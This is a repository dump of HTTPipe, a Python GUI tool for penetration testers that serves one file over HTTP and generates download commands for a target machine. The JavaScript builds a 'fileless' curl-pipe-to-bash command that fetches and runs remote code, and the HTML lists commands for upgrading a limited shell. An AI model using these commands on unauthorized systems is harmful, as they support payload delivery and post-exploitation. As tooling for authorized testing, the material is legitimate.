├── LICENSE.md ├── main.py ├── readme.md ├── requirements.txt ├── screen.png └── web ├── index.html ├── script.js └── style.css /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) [2025] [Jonas Resch] 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import webview 2 | import threading 3 | import http.server 4 | import socketserver 5 | import os 6 | import socket 7 | import urllib.parse 8 | import logging 9 | import sys 10 | import base64 11 | import math 12 | import shutil 13 | from typing import Dict, List, Optional, Any 14 | 15 | # Configure logging 16 | logging.basicConfig( 17 | level=logging.INFO, 18 | format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', 19 | handlers=[ 20 | logging.StreamHandler(sys.stdout) 21 | ] 22 | ) 23 | logger = logging.getLogger('PentoolFileTransfer') 24 | 25 | # Keep track of the original working directory 26 | original_path = os.getcwd() 27 | 28 | # --- Custom HTTP Handler --- 29 | class SingleFileHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): 30 | """ 31 | A request handler that only serves a specific file specified 32 | during server initialization. All other requests get a 404. 33 | """ 34 | # Class variable to hold the target filename 35 | target_filename = None 36 | 37 | def __init__(self, *args, **kwargs): 38 | super().__init__(*args, **kwargs) 39 | 40 | def do_GET(self): 41 | if self.target_filename is None: 42 | self.send_error(500, "Server Misconfiguration: Target filename not set.") 43 | return 44 | 45 | # Decode the requested path 46 | requested_path = urllib.parse.unquote(self.path.lstrip('/')) 47 | 48 | # Prevent directory traversal attacks 49 | normalized_requested = os.path.normpath(requested_path) 50 | normalized_target = os.path.normpath(self.target_filename) 51 | 52 | # Check if the requested filename matches the target filename 53 | if normalized_requested == normalized_target: 54 | # Serve the file from the root URL path 55 | self.path = '/' + self.target_filename 56 | try: 57 | super().do_GET() 58 | except Exception as e: 59 | logger.error(f"Error serving file: {e}") 60 | self.send_error(500, f"Error serving file: {str(e)}") 61 | else: 62 | self.send_error(404, f"File not found. Only serving '{self.target_filename}'") 63 | 64 | # Disable directory listing 65 | def list_directory(self, path): 66 | self.send_error(404, "Directory listing disabled") 67 | return None 68 | 69 | # Override log_message to use our logging system 70 | def log_message(self, format, *args): 71 | logger.info(f"HTTP: {format % args}") 72 | 73 | 74 | class Api: 75 | def __init__(self): 76 | self.server = None 77 | self.thread = None 78 | self.serve_filename = None 79 | self.serve_directory = None 80 | self.selected_full_path = None 81 | self.port = 8000 82 | self.ip_address = None 83 | self.chunk_directory = None # For storing chunked files 84 | 85 | def select_file(self) -> Optional[str]: 86 | """Opens a file dialog and returns the selected file path.""" 87 | global window 88 | if not window: 89 | logger.error("Error: Window object not available for file dialog.") 90 | return None 91 | 92 | try: 93 | result = window.create_file_dialog(webview.OPEN_DIALOG) 94 | if not result: 95 | logger.info("File selection cancelled.") 96 | self.selected_full_path = None 97 | return None 98 | 99 | # result is often a tuple, take the first element 100 | selected_path = result[0] if isinstance(result, (list, tuple)) and len(result) > 0 else result 101 | if not isinstance(selected_path, str): 102 | logger.error(f"File selection returned unexpected type: {type(selected_path)}") 103 | self.selected_full_path = None 104 | return None 105 | 106 | logger.info(f"File selected: {selected_path}") 107 | self.selected_full_path = selected_path 108 | return selected_path 109 | except Exception as e: 110 | logger.error(f"Error during file selection: {e}") 111 | self.selected_full_path = None 112 | return None 113 | 114 | def start_server(self, filename_unused, port) -> Dict[str, Any]: 115 | """ 116 | Start the HTTP server to serve the selected file. 117 | Returns a dict with server status and info. 118 | """ 119 | if self.server: 120 | logger.warning("Server already running.") 121 | return {'success': False, 'error': 'Server already running.'} 122 | 123 | if not self.selected_full_path: 124 | logger.error("No file selected.") 125 | return {'success': False, 'error': 'No file selected.'} 126 | 127 | try: 128 | self.port = int(port) 129 | full_path = self.selected_full_path 130 | 131 | # Verify file exists and is readable 132 | if not os.path.exists(full_path): 133 | error_msg = f"File not found: {full_path}" 134 | logger.error(error_msg) 135 | return {'success': False, 'error': error_msg} 136 | 137 | if not os.path.isfile(full_path): 138 | error_msg = f"Not a file: {full_path}" 139 | logger.error(error_msg) 140 | return {'success': False, 'error': error_msg} 141 | 142 | try: 143 | with open(full_path, 'rb') as _: 144 | pass # Test file is readable 145 | except PermissionError: 146 | error_msg = f"Permission denied to read file: {full_path}" 147 | logger.error(error_msg) 148 | return {'success': False, 'error': error_msg} 149 | 150 | # Setup server paths 151 | self.serve_directory = os.path.dirname(full_path) 152 | self.serve_filename = os.path.basename(full_path) 153 | 154 | # Setup custom handler 155 | SingleFileHTTPRequestHandler.target_filename = self.serve_filename 156 | handler = SingleFileHTTPRequestHandler 157 | 158 | # Change to the directory containing the file 159 | try: 160 | os.chdir(self.serve_directory) 161 | logger.info(f"Changed working directory to: {self.serve_directory}") 162 | except FileNotFoundError: 163 | error_msg = f"Directory not found: {self.serve_directory}" 164 | logger.error(error_msg) 165 | return {'success': False, 'error': error_msg} 166 | except PermissionError: 167 | error_msg = f"Permission denied to access directory: {self.serve_directory}" 168 | logger.error(error_msg) 169 | return {'success': False, 'error': error_msg} 170 | 171 | # Get the best IP address for serving 172 | self.ip_address = self.get_best_ip_address() 173 | if not self.ip_address: 174 | self.ip_address = "127.0.0.1" # Fallback to localhost 175 | 176 | # Start the server 177 | try: 178 | self.server = socketserver.TCPServer(("0.0.0.0", self.port), handler) 179 | self.thread = threading.Thread(target=self.server.serve_forever) 180 | self.thread.daemon = True 181 | self.thread.start() 182 | logger.info(f"Server started on {self.ip_address}:{self.port} serving '{self.serve_filename}'") 183 | return { 184 | 'success': True, 185 | 'filename': self.serve_filename, 186 | 'port': self.port, 187 | 'directory': self.serve_directory, 188 | 'ip': self.ip_address 189 | } 190 | except OSError as e: 191 | if e.errno == 98: # Address already in use 192 | error_msg = f"Port {self.port} is already in use. Please choose another port." 193 | else: 194 | error_msg = f"Error starting server: {e}" 195 | logger.error(error_msg) 196 | self._cleanup_on_error() 197 | return {'success': False, 'error': error_msg} 198 | 199 | except ValueError: 200 | error_msg = f"Invalid port number '{port}'" 201 | logger.error(error_msg) 202 | return {'success': False, 'error': error_msg} 203 | except Exception as e: 204 | error_msg = f"Unexpected error starting server: {e}" 205 | logger.error(error_msg) 206 | self._cleanup_on_error() 207 | return {'success': False, 'error': error_msg} 208 | 209 | def file_to_base64(self, filepath: str) -> Dict[str, Any]: 210 | """ 211 | Convert a file to base64 encoding 212 | Returns the base64 encoded string 213 | """ 214 | if not filepath or not os.path.exists(filepath): 215 | return {'success': False, 'error': 'File not found'} 216 | 217 | try: 218 | with open(filepath, 'rb') as file: 219 | encoded_data = base64.b64encode(file.read()).decode('utf-8') 220 | return { 221 | 'success': True, 222 | 'data': encoded_data, 223 | 'size': len(encoded_data), 224 | 'filename': os.path.basename(filepath) 225 | } 226 | except Exception as e: 227 | logger.error(f"Error encoding file to base64: {e}") 228 | return {'success': False, 'error': str(e)} 229 | 230 | def split_file(self, filepath: str, chunk_size_kb: int = 1024) -> Dict[str, Any]: 231 | """ 232 | Split a file into smaller chunks 233 | Returns information about the chunks created 234 | """ 235 | if not filepath or not os.path.exists(filepath): 236 | return {'success': False, 'error': 'File not found'} 237 | 238 | try: 239 | # Convert KB to bytes 240 | chunk_size = chunk_size_kb * 1024 241 | 242 | # Create output directory for chunks if needed 243 | filename = os.path.basename(filepath) 244 | chunk_dir = os.path.join(os.path.dirname(filepath), f"{filename}_chunks") 245 | 246 | # Clean up any existing chunks directory 247 | if os.path.exists(chunk_dir): 248 | shutil.rmtree(chunk_dir) 249 | 250 | os.makedirs(chunk_dir, exist_ok=True) 251 | self.chunk_directory = chunk_dir 252 | 253 | # Get file size and calculate number of chunks 254 | file_size = os.path.getsize(filepath) 255 | num_chunks = math.ceil(file_size / chunk_size) 256 | 257 | # Prepare info for chunks 258 | chunks = [] 259 | 260 | with open(filepath, 'rb') as infile: 261 | for i in range(num_chunks): 262 | chunk_name = f"{filename}.{i+1:03d}" 263 | chunk_path = os.path.join(chunk_dir, chunk_name) 264 | 265 | with open(chunk_path, 'wb') as outfile: 266 | data = infile.read(chunk_size) 267 | outfile.write(data) 268 | 269 | chunks.append({ 270 | 'name': chunk_name, 271 | 'path': chunk_path, 272 | 'size': len(data) 273 | }) 274 | 275 | logger.info(f"Split {filepath} into {len(chunks)} chunks in {chunk_dir}") 276 | return { 277 | 'success': True, 278 | 'chunks': chunks, 279 | 'original_file': filename, 280 | 'total_size': file_size, 281 | 'chunk_size': chunk_size, 282 | 'chunk_dir': chunk_dir 283 | } 284 | 285 | except Exception as e: 286 | logger.error(f"Error splitting file: {e}") 287 | # Clean up any partial work 288 | if self.chunk_directory and os.path.exists(self.chunk_directory): 289 | try: 290 | shutil.rmtree(self.chunk_directory) 291 | except: 292 | pass 293 | return {'success': False, 'error': str(e)} 294 | 295 | def _cleanup_on_error(self): 296 | """Clean up resources after an error""" 297 | if os.getcwd() != original_path: 298 | try: 299 | os.chdir(original_path) 300 | logger.info(f"Restored working directory to: {original_path}") 301 | except Exception as e: 302 | logger.error(f"Error restoring original directory: {e}") 303 | 304 | self.server = None 305 | self.thread = None 306 | SingleFileHTTPRequestHandler.target_filename = None 307 | 308 | def stop_server(self) -> Dict[str, Any]: 309 | """Stop the HTTP server""" 310 | if not self.server: 311 | logger.warning("Server not running.") 312 | return {'success': False, 'error': 'Server was not running.'} 313 | 314 | try: 315 | logger.info("Stopping server...") 316 | self.server.shutdown() 317 | self.server.server_close() 318 | 319 | # Wait for thread with timeout 320 | if self.thread and self.thread.is_alive(): 321 | self.thread.join(timeout=1.0) 322 | if self.thread.is_alive(): 323 | logger.warning("Server thread did not exit cleanly.") 324 | 325 | # Clean up resources 326 | self.server = None 327 | self.thread = None 328 | self.serve_filename = None 329 | self.ip_address = None 330 | SingleFileHTTPRequestHandler.target_filename = None 331 | 332 | # Restore original directory 333 | current_cwd = os.getcwd() 334 | if current_cwd != original_path: 335 | try: 336 | os.chdir(original_path) 337 | logger.info(f"Restored working directory to: {original_path}") 338 | except Exception as e: 339 | logger.error(f"Error restoring directory: {e}") 340 | return {'success': True, 'warning': f'Server stopped, but failed to restore original directory: {e}'} 341 | 342 | logger.info("Server stopped successfully.") 343 | return {'success': True} 344 | 345 | except Exception as e: 346 | error_msg = f"Error stopping server: {e}" 347 | logger.error(error_msg) 348 | 349 | # Attempt to force cleanup even on error 350 | self.server = None 351 | self.thread = None 352 | self.serve_filename = None 353 | self.ip_address = None 354 | SingleFileHTTPRequestHandler.target_filename = None 355 | 356 | if os.getcwd() != original_path: 357 | try: 358 | os.chdir(original_path) 359 | logger.info(f"Restored working directory to: {original_path}") 360 | except Exception as chdir_err: 361 | logger.error(f"Additionally failed to restore original directory: {chdir_err}") 362 | 363 | return {'success': False, 'error': error_msg} 364 | 365 | def get_ip_addresses(self) -> List[str]: 366 | """Get list of available IP addresses on this system""" 367 | addresses = [] 368 | 369 | # Try to get primary IP from dummy connection 370 | try: 371 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 372 | s.settimeout(0.1) 373 | s.connect(("8.8.8.8", 80)) 374 | ip = s.getsockname()[0] 375 | if ip and ip != '127.0.0.1' and ip != '127.0.1.1': 376 | addresses.append(ip) 377 | s.close() 378 | except Exception as e: 379 | logger.warning(f"Could not get IP via dummy connection: {e}") 380 | 381 | # Get all interface addresses as fallback/addition 382 | try: 383 | host_name = socket.gethostname() 384 | try: 385 | all_ips = socket.getaddrinfo(host_name, None, socket.AF_INET) 386 | except socket.gaierror: 387 | all_ips = socket.getaddrinfo(host_name, None) 388 | 389 | for item in all_ips: 390 | if item[0] == socket.AF_INET: 391 | ip_addr = item[4][0] 392 | if ip_addr not in addresses and ip_addr != '127.0.0.1' and ip_addr != '127.0.1.1': 393 | addresses.append(ip_addr) 394 | except Exception as e: 395 | logger.warning(f"Could not get IP addresses via getaddrinfo: {e}") 396 | 397 | # Add localhost if no other addresses were found 398 | if not addresses: 399 | logger.warning("Could not detect external IP, falling back to 127.0.0.1") 400 | addresses.append("127.0.0.1") 401 | 402 | logger.info(f"Detected IP Addresses: {addresses}") 403 | return addresses 404 | 405 | def get_best_ip_address(self) -> Optional[str]: 406 | """Return the best IP address to use for the server""" 407 | addresses = self.get_ip_addresses() 408 | # Prefer non-localhost address 409 | for addr in addresses: 410 | if addr != "127.0.0.1" and addr != "127.0.1.1": 411 | return addr 412 | # Fallback to localhost 413 | # Return 127.0.0.1 only if it's the only one found (or no others) 414 | return "127.0.0.1" if "127.0.0.1" in addresses else (addresses[0] if addresses else None) 415 | 416 | 417 | # Global window variable needed for file dialog access from API class 418 | window = None 419 | 420 | def main(): 421 | global window, original_path 422 | 423 | # Store the original path before doing anything else 424 | original_path = os.path.abspath(os.getcwd()) 425 | logger.info(f"Original working directory: {original_path}") 426 | 427 | # Create API instance 428 | api = Api() 429 | 430 | # Create the webview window with improved dimensions 431 | window = webview.create_window( 432 | 'PenTool File Transfer', 433 | 'web/index.html', 434 | js_api=api, 435 | width=850, 436 | height=750, 437 | min_size=(600, 500) 438 | ) 439 | 440 | # Ensure server is stopped cleanly on window close 441 | def on_closing(): 442 | logger.info("Window closing, stopping server if running...") 443 | api.stop_server() 444 | 445 | window.events.closing += on_closing 446 | 447 | # Start pywebview 448 | webview.start(debug=False) 449 | 450 | # Final cleanup check 451 | final_cwd = os.path.abspath(os.getcwd()) 452 | if final_cwd != original_path: 453 | logger.warning(f"Restoring original CWD '{original_path}' from '{final_cwd}' after main exit.") 454 | try: 455 | os.chdir(original_path) 456 | except Exception as e: 457 | logger.error(f"Error restoring CWD after main exit: {e}") 458 | 459 | 460 | if __name__ == '__main__': 461 | try: 462 | main() 463 | except Exception as e: 464 | logger.error(f"Unhandled exception in main: {e}") 465 | # Ensure we restore the original directory even on crash 466 | if os.getcwd() != original_path: 467 | try: 468 | os.chdir(original_path) 469 | except Exception as e: 470 | logger.error(f"Failed to restore original directory on crash: {e}") -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # HTTPipe 2 | 3 | A simple cross-platform GUI tool built with Python and pywebview to quickly serve a single file over HTTP. Designed with penetration testing and local network file transfers in mind. 4 | 5 | ![HTTPipe Screenshot](screen.png) 6 | 7 | ## Description 8 | 9 | HTTPipe provides a straightforward graphical interface to select a file and instantly start an HTTP server on a chosen IP address and port, making that specific file available for download. It automatically generates common download commands (curl, wget, Python, PowerShell) for the target machine. Additionally, it includes handy utilities for penetration testers, such as base64 encoding/decoding commands and file chunking capabilities. 10 | 11 | ## Features 12 | 13 | * **Single File Server:** Serves only the selected file for security and simplicity. 14 | * **IP/Port Selection:** Automatically detects local IP addresses and allows custom IP/port input. 15 | * **Download Command Generation:** Creates ready-to-use `curl`, `wget`, `python`, and `powershell` download commands for the target machine. 16 | * **Shell Prep Commands:** Provides quick copy commands for upgrading limited shells (e.g., Python pty, script). 17 | * **File to Base64:** Encodes the selected file to Base64 and generates corresponding decode commands (`base64`, `certutil`). 18 | * **File Chunker:** Splits large files into smaller chunks and provides reassembly commands (`cat`, `copy /b`). 19 | * **Cross-Platform GUI:** Built with `pywebview` for compatibility with Windows, macOS, and Linux. 20 | * **Clean Interface:** Simple and intuitive UI with status indicators and notifications. 21 | 22 | ## Installation 23 | 24 | 1. **Prerequisites:** 25 | * Python 3.6+ 26 | * `pip` (Python package installer) 27 | * **OS Dependencies:** `pywebview` relies on native web rendering engines. 28 | * **Linux:** Requires `python3-gi`, `python3-gi-cairo`, `gir1.2-gtk-3.0`, `gir1.2-webkit2-4.0`. You might also need QT5 libraries (`libqt5webkit5`, `libqt5gui5`, etc.) depending on your system setup and the chosen `pywebview` backend (`qt` is specified in `requirements.txt`). Install using your package manager (e.g., `sudo apt update && sudo apt install python3-gi python3-gi-cairo gir1.2-gtk-3.0 gir1.2-webkit2-4.0 libqt5webkit5`). 29 | * **macOS:** No specific OS dependencies usually required. 30 | * **Windows:** No specific OS dependencies usually required. 31 | 32 | 2. **Clone the Repository:** 33 | ```bash 34 | git clone https://github.com/reschjonas/HTTPipe 35 | cd HTTPipe 36 | ``` 37 | 38 | 3. **Install Dependencies:** 39 | ```bash 40 | pip install -r requirements.txt 41 | ``` 42 | *(Consider using a virtual environment: `python3 -m venv venv`, `source venv/bin/activate` or `venv\Scripts\activate`, then `pip install ...`)* 43 | 44 | ## Usage 45 | 46 | 1. Run the application: 47 | ```bash 48 | python3 main.py 49 | ``` 50 | 2. Click "Select File" to choose the file you want to share. 51 | 3. Verify or select the desired IP address and Port. 52 | 4. Click "Start Server". 53 | 5. The "Target Machine Commands" section will populate with download commands. Copy the appropriate command for the target machine. 54 | 6. Use the "Pentest Utilities" section for Base64 encoding or file splitting if needed. 55 | 7. Click "Stop Server" when finished. 56 | 57 | ## Technologies Used 58 | 59 | * Python 3 60 | * pywebview (with QT backend) 61 | * HTML5 62 | * CSS3 63 | * JavaScript 64 | 65 | ## Contributing 66 | 67 | Contributions are welcome! Please feel free to submit pull requests or open issues. 68 | 69 | 70 | ## License 71 | 72 | This project is licensed under the MIT License - see the [LICENSE](LICENSE.md) file for details. 73 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pywebview[qt]>=4.0 -------------------------------------------------------------------------------- /screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ExploitWorks/HTTPipe/e98cd5884f8e85c58f1d521dba1d47233cf01daf/screen.png -------------------------------------------------------------------------------- /web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | PenTool File Transfer 7 | 8 | 9 | 10 | 11 |
12 |

HTTPipe File Transfer

13 | 14 |
15 | 16 |
17 | 18 | 19 |
20 | 21 |
22 | 23 |
24 |
25 | 26 | 31 | 32 |
33 |
34 | 35 | 36 |
37 |
38 | 39 |
40 | 41 | 42 | Status: Stopped 43 |
44 | 45 |
46 |

Target Machine Commands

47 |
48 | 49 | 50 |
51 |
52 |
Select a file and start the server.
53 | 54 |
55 |
56 |
57 |

Upgrade Limited Shell

58 |
59 | Python: 60 | python -c 'import pty; pty.spawn("/bin/bash")' 61 | 62 |
63 |
64 | Bash: 65 | SHELL=/bin/bash script -q /dev/null 66 | 67 |
68 |
69 |
70 |
71 | 72 |
73 |

Pentest Utilities

74 |
75 |
76 |

File 2 Base64

77 |

Convert file to base64 for copy-paste transfer

78 | 79 |
80 | 81 | 85 |
86 | 93 |
94 | 95 |
96 |

File Chunker

97 |

Split large files into smaller chunks

98 |
99 | 100 | 101 |
102 | 103 | 109 |
110 |
111 |
112 | 113 |
114 |
115 | 116 | 117 | 118 | -------------------------------------------------------------------------------- /web/script.js: -------------------------------------------------------------------------------- 1 | // Define debounce function to improve performance 2 | function debounce(func, wait) { 3 | let timeout; 4 | return function(...args) { 5 | clearTimeout(timeout); 6 | timeout = setTimeout(() => func.apply(this, args), wait); 7 | }; 8 | } 9 | 10 | window.addEventListener('pywebviewready', function() { 11 | // DOM Element References 12 | const filePathInput = document.getElementById('file-path'); 13 | const selectFileBtn = document.getElementById('select-file-btn'); 14 | const ipAddressSelect = document.getElementById('ip-address-select'); 15 | const ipAddressCustomInput = document.getElementById('ip-address-custom'); 16 | const portInput = document.getElementById('port'); 17 | const startServerBtn = document.getElementById('start-server-btn'); 18 | const stopServerBtn = document.getElementById('stop-server-btn'); 19 | const serverStatusSpan = document.getElementById('server-status'); 20 | const downloadCommandPre = document.getElementById('download-command'); 21 | const copyCommandBtn = document.getElementById('copy-command-btn'); 22 | const notificationArea = document.getElementById('notification-area'); 23 | const convertBase64Btn = document.getElementById('convert-base64-btn'); 24 | const base64DecodeCmd = document.getElementById('base64-decode-cmd'); 25 | const base64OutputContainer = document.getElementById('base64-output-container'); 26 | const base64Output = document.getElementById('base64-output'); 27 | const base64DecodeCommand = document.getElementById('base64-decode-command'); 28 | const copyBase64Btn = document.getElementById('copy-base64-btn'); 29 | const splitFileBtn = document.getElementById('split-file-btn'); 30 | const splitSize = document.getElementById('split-size'); 31 | const splitResults = document.getElementById('split-results'); 32 | const chunkList = document.getElementById('chunk-list'); 33 | const chunkReassemblyCmd = document.getElementById('chunk-reassembly-cmd'); 34 | const copyReassemblyCmd = document.getElementById('copy-reassembly-cmd'); 35 | 36 | // Tab navigation elements 37 | const tabButtons = document.querySelectorAll('.tab-button'); 38 | const tabContents = document.querySelectorAll('.tab-content'); 39 | 40 | // Single command copy buttons 41 | const copySingleButtons = document.querySelectorAll('.copy-single-btn'); 42 | 43 | // State variables 44 | let selectedFilePath = null; // Store the full path 45 | let currentFilename = null; // Store just the filename for command generation 46 | let isServerRunning = false; 47 | let commandsGenerated = false; 48 | let notificationTimeout = null; 49 | let base64Data = null; 50 | let chunksCreated = []; 51 | let currentNotifications = []; 52 | let commandsLimit = 5; // Limit number of commands shown to prevent lag 53 | let activeTabId = 'download'; // Track the active tab 54 | 55 | // Enhanced notification function with queueing and improved performance 56 | function showNotification(message, type = 'success', duration = 3000) { 57 | // Limit number of notifications to 3 at a time for performance 58 | if (currentNotifications.length >= 3) { 59 | const oldNotification = currentNotifications.shift(); 60 | oldNotification.remove(); 61 | } 62 | 63 | // Create notification element 64 | const notification = document.createElement('div'); 65 | notification.className = `notification ${type}`; 66 | 67 | // Add icon based on type 68 | let icon = 'check-circle'; 69 | if (type === 'error') icon = 'exclamation-circle'; 70 | else if (type === 'warning') icon = 'exclamation-triangle'; 71 | 72 | notification.innerHTML = ` ${message}`; 73 | 74 | // Add to DOM 75 | notificationArea.appendChild(notification); 76 | 77 | // Add to tracking array 78 | currentNotifications.push(notification); 79 | 80 | // Add show class after brief delay (for animation) 81 | setTimeout(() => { notification.classList.add('show'); }, 10); 82 | 83 | // Remove after duration 84 | setTimeout(() => { 85 | notification.classList.remove('show'); 86 | setTimeout(() => { 87 | if (notification.parentNode) { 88 | notification.remove(); 89 | } 90 | // Remove from tracking array 91 | const index = currentNotifications.indexOf(notification); 92 | if (index > -1) currentNotifications.splice(index, 1); 93 | }, 300); 94 | }, duration); 95 | } 96 | 97 | // Get the currently selected/entered IP address 98 | function getCurrentIpAddress() { 99 | if (ipAddressSelect.value === 'custom') { 100 | return ipAddressCustomInput.value.trim(); 101 | } else { 102 | return ipAddressSelect.value; 103 | } 104 | } 105 | 106 | // Update the displayed download command with improved formatting and performance 107 | function updateDownloadCommand() { 108 | const ip = getCurrentIpAddress(); 109 | const port = portInput.value; 110 | const pythonExecutable = 'python3'; // Or 'python' 111 | const powershellExecutable = 'powershell.exe'; // Or 'pwsh' 112 | 113 | if (isServerRunning && ip && port && currentFilename) { 114 | const encodedFilename = encodeURIComponent(currentFilename); 115 | const url = `http://${ip}:${port}/${encodedFilename}`; 116 | const shellFilename = currentFilename.replace(/"/g, '\\"'); 117 | 118 | // Clear previous content and set flag 119 | downloadCommandPre.innerHTML = ''; 120 | commandsGenerated = true; 121 | 122 | // Create command blocks with proper syntax highlighting 123 | const commands = { 124 | curl: { 125 | command: `curl -o "${shellFilename}" ${url}`, 126 | icon: 'terminal', 127 | color: '#3b82f6' 128 | }, 129 | wget: { 130 | command: `wget --output-document="${shellFilename}" ${url}`, 131 | icon: 'download', 132 | color: '#10b981' 133 | }, 134 | python: { 135 | command: `${pythonExecutable} -c "import requests; open('${shellFilename}', 'wb').write(requests.get('${url}').content)"`, 136 | icon: 'code', 137 | color: '#f59e0b' 138 | }, 139 | powershell: { 140 | command: `${powershellExecutable} -Command "Invoke-WebRequest -Uri ${url} -OutFile ${shellFilename}"`, 141 | icon: 'window-maximize', 142 | color: '#0369a1' 143 | }, 144 | fileless: { 145 | command: `curl ${url} | bash`, 146 | icon: 'ghost', 147 | color: '#EC4899' 148 | } 149 | }; 150 | 151 | // Add each command with a copy button 152 | for (const [type, data] of Object.entries(commands)) { 153 | const commandBlock = document.createElement('div'); 154 | commandBlock.className = 'command-block'; 155 | 156 | const title = document.createElement('span'); 157 | title.className = 'command-title'; 158 | title.innerHTML = ` ${type.charAt(0).toUpperCase() + type.slice(1)}:`; 159 | commandBlock.appendChild(title); 160 | 161 | const code = document.createElement('code'); 162 | code.textContent = data.command; 163 | commandBlock.appendChild(code); 164 | 165 | const copyBtn = document.createElement('button'); 166 | copyBtn.className = 'copy-single-btn'; 167 | copyBtn.innerHTML = ' Copy'; 168 | copyBtn.title = `Copy ${type} command`; 169 | copyBtn.addEventListener('click', () => copySingleCommand(data.command)); 170 | commandBlock.appendChild(copyBtn); 171 | 172 | downloadCommandPre.appendChild(commandBlock); 173 | } 174 | 175 | // Hide the main copy button as we have individual ones 176 | copyCommandBtn.style.display = 'none'; 177 | 178 | } else if (!selectedFilePath){ 179 | downloadCommandPre.innerHTML = ' Select a file first to see download commands'; 180 | copyCommandBtn.style.display = 'block'; 181 | copyCommandBtn.disabled = true; 182 | commandsGenerated = false; 183 | } else { 184 | downloadCommandPre.innerHTML = ' Start the server to see download commands'; 185 | copyCommandBtn.style.display = 'block'; 186 | copyCommandBtn.disabled = true; 187 | commandsGenerated = false; 188 | } 189 | } 190 | 191 | // Function to copy a single command text with improved feedback 192 | function copySingleCommand(commandText) { 193 | navigator.clipboard.writeText(commandText) 194 | .then(() => { 195 | showNotification('Command copied to clipboard!', 'success', 1500); 196 | }) 197 | .catch(err => { 198 | console.error('Failed to copy command: ', err); 199 | showNotification("Failed to copy command to clipboard.", 'error'); 200 | }); 201 | } 202 | 203 | // Update UI elements based on server state and file selection 204 | function updateUiState() { 205 | // Button states 206 | startServerBtn.disabled = isServerRunning || !selectedFilePath; 207 | stopServerBtn.disabled = !isServerRunning; 208 | selectFileBtn.disabled = isServerRunning; 209 | portInput.disabled = isServerRunning; 210 | ipAddressSelect.disabled = isServerRunning; 211 | ipAddressCustomInput.disabled = isServerRunning || ipAddressSelect.value !== 'custom'; 212 | copyCommandBtn.style.display = commandsGenerated ? 'none' : 'block'; 213 | copyCommandBtn.disabled = !commandsGenerated; 214 | 215 | // Pentest tools button states 216 | convertBase64Btn.disabled = !selectedFilePath; 217 | splitFileBtn.disabled = !selectedFilePath; 218 | 219 | // Update status display 220 | serverStatusSpan.classList.remove('running', 'stopped', 'error'); 221 | if (isServerRunning) { 222 | serverStatusSpan.textContent = 'Status: Running'; 223 | serverStatusSpan.classList.add('running'); 224 | serverStatusSpan.classList.add('pulse'); 225 | } else { 226 | serverStatusSpan.textContent = 'Status: Stopped'; 227 | serverStatusSpan.classList.add('stopped'); 228 | serverStatusSpan.classList.remove('pulse'); 229 | } 230 | 231 | // Update download commands 232 | updateDownloadCommand(); 233 | } 234 | 235 | // Set status to an error state 236 | function setStatusError(message = 'Error') { 237 | serverStatusSpan.classList.remove('running', 'stopped', 'pulse'); 238 | serverStatusSpan.classList.add('error'); 239 | serverStatusSpan.textContent = `Status: ${message}`; 240 | isServerRunning = false; 241 | updateUiState(); 242 | } 243 | 244 | // Add a loading state for when actions are pending 245 | function setLoading(element, isLoading) { 246 | if (isLoading) { 247 | // Save original text 248 | element.dataset.originalText = element.innerHTML; 249 | // Replace with loading spinner 250 | element.innerHTML = ' ' + element.textContent; 251 | element.disabled = true; 252 | } else { 253 | // Restore original text 254 | if (element.dataset.originalText) { 255 | element.innerHTML = element.dataset.originalText; 256 | delete element.dataset.originalText; 257 | } 258 | // Don't enable here - let updateUiState handle that 259 | } 260 | } 261 | 262 | // Implement improved tab switching 263 | function setupTabs() { 264 | tabButtons.forEach(button => { 265 | button.addEventListener('click', () => { 266 | // Store the active tab ID 267 | activeTabId = button.getAttribute('data-tab'); 268 | 269 | // Remove active class from all buttons and contents 270 | tabButtons.forEach(btn => btn.classList.remove('active')); 271 | tabContents.forEach(content => content.classList.remove('active')); 272 | 273 | // Add active class to clicked button 274 | button.classList.add('active'); 275 | 276 | // Show corresponding content by adding the active class 277 | const tabContent = document.getElementById(activeTabId); 278 | if (tabContent) { 279 | tabContent.classList.add('active'); 280 | } 281 | 282 | // If switching back to download tab, refresh commands 283 | if (activeTabId === 'download-commands') { 284 | updateDownloadCommand(); 285 | } 286 | }); 287 | }); 288 | } 289 | 290 | // Setup copy buttons for shell commands 291 | function setupCopyButtons() { 292 | copySingleButtons.forEach(button => { 293 | button.addEventListener('click', function() { 294 | const commandText = this.getAttribute('data-cmd'); 295 | if (commandText) { 296 | copySingleCommand(commandText); 297 | } 298 | }); 299 | }); 300 | } 301 | 302 | // Implement base64 conversion with optimized display handling 303 | function setupBase64Conversion() { 304 | convertBase64Btn.addEventListener('click', function() { 305 | if (!selectedFilePath) { 306 | showNotification("Please select a file first", 'warning'); 307 | return; 308 | } 309 | 310 | setLoading(this, true); 311 | base64OutputContainer.classList.add('hidden'); 312 | 313 | window.pywebview.api.file_to_base64(selectedFilePath).then(function(response) { 314 | setLoading(convertBase64Btn, false); 315 | 316 | if (response && response.success) { 317 | 